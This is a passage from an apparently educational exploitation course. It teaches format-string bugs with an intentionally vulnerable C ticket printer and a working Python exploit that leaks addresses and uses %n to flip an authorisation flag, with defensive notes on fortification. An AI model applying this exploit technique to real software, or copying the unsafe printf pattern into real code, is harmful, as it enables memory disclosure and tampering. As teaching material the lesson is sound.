Format Strings
When text is treated as instructions
Section titled “When text is treated as instructions”The depot read from contents, the till wrote forward from label, and the consignment board used an index into slots. In each case, the program supplied the starting point and our input determined how far from it the access went. What happened next depended on the neighbours, which weren’t ours to choose.
The ticket printer below can be made to use a complete address from our input. The catch is that we first have to get those bytes into a place where printf will treat them as an argument, then ask it to use that argument as a pointer. We’ll follow those two pieces separately before putting them together.
A ticket printer
Section titled “A ticket printer”In the Ubuntu terminal, create the working directory if needed and move into it:
mkdir -p ~/underdunn-course/bug-classes ~/underdunn-course/notescd ~/underdunn-course/bug-classesSave the complete program below as ticket.c. Keep the terminal in this directory for the build commands; no source file from an earlier lesson is needed.
/* * A ticket printer. It prints whatever text you give it. */#include <stdio.h>#include <string.h>#include <unistd.h>
static int authorised = 0;
static const unsigned char sealed[] = { 0x02, 0x19, 0x13, 0x12, 0x05, 0x13, 0x02, 0x19, 0x19, 0x2c, 0x36, 0x39, 0x08, 0x36, 0x33, 0x33, 0x25, 0x32, 0x24, 0x24, 0x08, 0x2e, 0x38, 0x22, 0x08, 0x34, 0x3f, 0x38, 0x24, 0x32, 0x2a,};
static void print_ticket(const char *text){ printf(" ticket: "); printf(text); printf("\n");}
int main(void){ char text[200];
setvbuf(stdout, NULL, _IONBF, 0);
memset(text, 0, sizeof text); puts("Ticket text:"); read(0, text, 190); print_ticket(text);
memset(text, 0, sizeof text); puts("Correction:"); read(0, text, 190); print_ticket(text);
if (authorised) { char code[32]; for (size_t i = 0; i < sizeof sealed; i++) code[i] = (char)(sealed[i] ^ 0x57); code[sizeof sealed] = '\0'; printf(" collection code: %s\n", code); } else { puts(" not authorised"); } return 0;}The sealed bytes are XOR-decoded into code only after authorised becomes nonzero. This merely keeps the collection code from appearing as plain text in the binary; it is not a protection. setvbuf disables output buffering so the two prompts are visible to the driver as soon as they are printed.
The whole bug is printf(text) on line 20, where printf("%s", text) was meant. The compiler notices:
gcc -g -O0 -fno-omit-frame-pointer -Wall -Wextra ticket.c -o ticketticket.c:20:5: warning: format not a string literal and no format arguments [-Wformat-security]Nothing sets authorised anywhere in the program. Read it through once and confirm that for yourself: if that value changes, an ordinary assignment won’t explain it.
Run ./ticket and enter:
two adultsone childTicket text: ticket: two adultsone child
Correction: ticket: not authorisedBoth lines went into the first read, which takes whatever is available rather than one line, so the second ticket came back empty. Sending two lines isn’t the same as answering two prompts. The driver below waits between writes so the first read can’t consume both answers.
Arguments nobody passed
Section titled “Arguments nobody passed”printf takes its directives from the format string and its values from the argument list. What happens when the directives have no arguments behind them?
Run ./ticket and enter:
%p %p %pxThe ticket line reads:
ticket: 0x7ffcf289e240 (nil) (nil)In this run it reads the places arguments would have occupied. On the course’s x86-64 calling convention, the first few values come from register argument storage and later ones from the stack.
No matching arguments were supplied, so C does not define a valid result for this call. These are observations of our build, not values that printf promises to return; (nil) means those particular locations happened to contain zero.
Reaching further with %p %p %p %p... works but counting them is tedious. There is a directive for going straight to the nth argument. Run ./ticket and enter:
AAAABBBB %14$p %15$p %16$p %17$pxThe ticket line reads:
ticket: AAAABBBB 0x4 0x40 0x4242424241414141 0x2520702434312520Stop at slot 16, where 0x4242424241414141 is AAAABBBB little-endian, the first eight bytes of the text you sent.
Your input is in the argument list. Slot 16 is the start of your buffer, slot 17 is the next eight bytes of it, and so on.
Those bytes now have a different job. Instead of printing them as text, printf is reading them as an argument, and some directives treat an argument as an address.
Reading an address you chose
Section titled “Reading an address you chose”%s treats its argument as a pointer and prints the string there. We already know where our buffer appears among the slots, so we can place a pointer at a known position within that buffer and select it with the directive.
The program is position-independent, so we need an address from the current run. In the recorded build, %9$p exposes the return address from the first call to print_ticket. We can identify its offset rather than guess it from the shape of the leaked number:
objdump -d -Mintel --disassemble=main ./ticketFind the first call to print_ticket. The instruction immediately after it is where the function returns, at offset 0x12d7 in this build.
Check the correspondence in GDB: break at print_ticket, run the program, enter %9$p at its first prompt, and use bt followed by x/gx $rbp+8 to inspect the saved return address after the prologue.
Continue and compare that address with the value the format string prints. Then enter plain text at the correction prompt so the process can finish.
Outside GDB, the same slot can be read with:
python3 -c "print('%9\$p')" | ./ticket | sed -n '2p'Subtract 0x12d7 from that and you have the base for this process. Because the program reads twice, you can spend the first read on the leak and the second on the address you computed, all inside one process, which is the same two-stage shape as Night Dispatch.
We also need the offset of something safe to print. In the same disassembly, the first puts receives the address of the Ticket text: literal: the preceding address calculation names offset 0x203a in the recorded build. Use your listing’s offsets if they differ.
For the second input we’ll reserve sixteen bytes before the pointer. Slot 16 is the beginning of the buffer here, so the pointer sixteen bytes later occupies slot 18. Unlike the initial probe, this format is explicitly terminated before the binary address:
AAA%18$s\0 format string and its terminating zeropadding fill through byte 15<8 bytes> chosen address, beginning at byte 16 (slot 18)Send the two inputs to one process
Section titled “Send the two inputs to one process”Create ticket-input.py beside the binary. The constants come from the slot probe, symbol table and disassembly above. The script keeps the two inputs in one process and packs the address.
Its default mode prints the planted pointer without dereferencing it, so we can check the placement first.
import reimport structimport subprocessimport sys
BUFFER_SLOT = 16LEAK_SLOT = 9RETURN_OFFSET = 0x12d7TEXT_OFFSET = 0x203aAUTH_OFFSET = 0x401c # confirm with: nm ./ticket
mode = sys.argv[1] if len(sys.argv) > 1 else "p"if mode not in ("p", "s", "n"): raise SystemExit("Use p to inspect, s to read, or n to write")
with subprocess.Popen(["./ticket"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) as process: def until(marker): data = bytearray() while not data.endswith(marker): byte = process.stdout.read(1) if not byte: raise RuntimeError("Printer exited before the expected prompt") data.extend(byte) return bytes(data)
until(b"Ticket text:\n") process.stdin.write(f"%{LEAK_SLOT}$p".encode() + b"\0") process.stdin.flush() leaked = until(b"Correction:\n") match = re.search(rb"ticket: (0x[0-9a-fA-F]+)", leaked) if not match: raise RuntimeError("The selected slot did not print an address") base = int(match.group(1), 16) - RETURN_OFFSET target = base + (AUTH_OFFSET if mode == "n" else TEXT_OFFSET) directive = f"AAA%{BUFFER_SLOT + 2}${mode}".encode() + b"\0" assert len(directive) <= 16 payload = directive.ljust(16, b"X") + struct.pack("<Q", target) print(f"base={base:#x}, target={target:#x}") process.stdin.write(payload) process.stdin.flush() output, _ = process.communicate(timeout=5) print(output.decode(errors="replace"), end="")until consumes each prompt before the next write, so the first read can’t swallow both inputs.
The zero terminates the format string, but read still copies the bytes after it into the buffer, including the pointer packed by struct.pack. Those bytes are available as an argument without being interpreted as more format text.
python3 ticket-input.py ppython3 ticket-input.py sIn p mode, the address after AAA should match the script’s printed target. Once it does, s mode uses that address to print the literal. Each invocation gets its own leak; an address from the first process isn’t reused in the second.
ticket: AAATicket text: not authorisedThe three As are literal text from the format string, while the rest came from dereferencing our pointer. We used an image-relative calculation to discover the address, but %s received the complete runtime address.
It isn’t limited to stepping through neighbouring elements of the input buffer. It still needs readable memory and a terminating zero, so that extra choice doesn’t make every possible address safe to read.
Writing an address you chose
Section titled “Writing an address you chose”%n is the directive that makes this a write. It takes its argument as a pointer and stores the number of characters printed so far by this call.
The payload keeps its shape and changes one letter:
AAA%18$n\0 format string and terminatorpadding fill through byte 15<8 bytes> address of authorised, little endianauthorised is at offset 0x401c (nm ./ticket), so the address is the base you leaked plus 0x401c.
The script’s n mode selects that target and changes the directive while preserving the pointer’s position:
python3 ticket-input.py n collection code: UNDERDUNN{an_address_you_chose}The AAA is doing real work there, because %n writes the count, so with nothing printed before it the count is zero and authorised stays zero. Three characters make it three, which is all if (authorised) needs.
Relative and absolute access
Section titled “Relative and absolute access”| Lesson | Reach |
|---|---|
| Out-of-bounds read | multiples of 32 from contents |
| Out-of-bounds write | forward from label |
| Integer example | negative element indices before slots; valid indices 0–7 |
| Format string | a supplied pointer, subject to readable/writable memory and input constraints |
The first three are relative: the access starts from a base the program supplies. What sits at the selected offset depends on the layout.
The fourth is absolute. You supply the address, and the thing that makes it possible is that your input reached the argument list of a function that dereferences arguments.
When the build or runtime changes
Section titled “When the build or runtime changes”The source-level defect is interpreting untrusted text as a format string. Whether this particular payload succeeds also depends on the compiled frame, the input path and the runtime’s checks.
Fortification changes the write. The recorded Ubuntu build enabled _FORTIFY_SOURCE when optimized, but that isn’t a portable consequence of -O2. Check the actual build configuration. Save this separate probe as fortify.c:
#include <stdio.h>int main(void){#ifdef _FORTIFY_SOURCE printf("=%d\n", _FORTIFY_SOURCE);#else puts("not defined");#endif return 0;}gcc -O0 fortify.c -o fortify-debuggcc -O2 fortify.c -o fortify-optimized./fortify-debug./fortify-optimizedWith the relevant fortification active, glibc restricts %n to read-only format strings; our input buffer is writable. The glibc fortification documentation describes that restriction at level 2 and above.
The flags in our original command have separate jobs:
-gsupplies debug information.-O0disables optimization and keeps this walkthrough’s frame easier to inspect.
Neither flag name alone tells us which protections an arbitrary toolchain enables. That’s why the probe checks the configuration itself.
Runtime support differs. Microsoft’s C runtime disables %n by default and calls the invalid parameter handler unless the program enables it.
The read technique also needs rechecking on another runtime: positional syntax and argument layout are not universal. Our successful payload is evidence about this binary and library, not a portable input string.
Keep the build settings with the result, just as you did for the earlier layout-dependent writes. Rebuilding can change the argument slots as well as the runtime checks.
Knowledge check
Question 1 of 3
Practice complete
You've checked the key ideas. Revisit any explanation you need, then continue when it makes sense.
When the results don’t match
Section titled “When the results don’t match”- If your slot number is not 16, count again with
AAAABBBBat the front and look for0x4242424241414141. The number depends on the frame and on how many arguments went into registers, and yours is the one to use. - If
%9$pdoes not look like an image pointer, leak%1$pthrough%16$pin one go and compare two runs. The slots that move by the same amount as the base are the candidates. - If the second read gets nothing, confirm the driver waits for
Correction:before sending the payload. Sending both inputs at once lets the firstreadconsume both. - If
%ncrashes the process, check the selected slot and target first. Print the planted pointer with%18$p(or your measured slot) before dereferencing it. A fortification diagnostic instead calls for checking the build settings. - If the program reports
not authorisedwith no crash, the count was zero. Put characters before the directive.
To recover a known state, rebuild from the listing. The printer keeps nothing between runs.
Check your understanding
Section titled “Check your understanding”Compare the ticket printer with the consignment board. Both can change a value, but they get there differently. Explain:
- How each operation selects its destination.
- What determines the value written.
- What the printer needed to learn from the current process before using either pointer.
Compare your reasoning
The printer gives us a string read through a supplied pointer, and a write of a character count through a supplied pointer.
Both require the pointer bytes to reach the selected argument slot, appropriate memory access permissions, and runtime checks that permit the operation. The write shown here uses a writable format string on a build where the relevant fortification is inactive.
The consignment write had a fixed base and element stride. This operation instead consumes the pointer we placed in an argument slot, but writes a count rather than copying arbitrary payload bytes to it. Include both differences when comparing their reach.
When stored text becomes a pointer
Section titled “When stored text becomes a pointer”Everything you have reached so far was a value: a counter, a flag, a seal, a code. Memory was wrong, and the program carried on using it as the kind of thing it expected.
The next lesson is about a program reading memory that is exactly where it should be, exactly the size it should be, and describing something else entirely.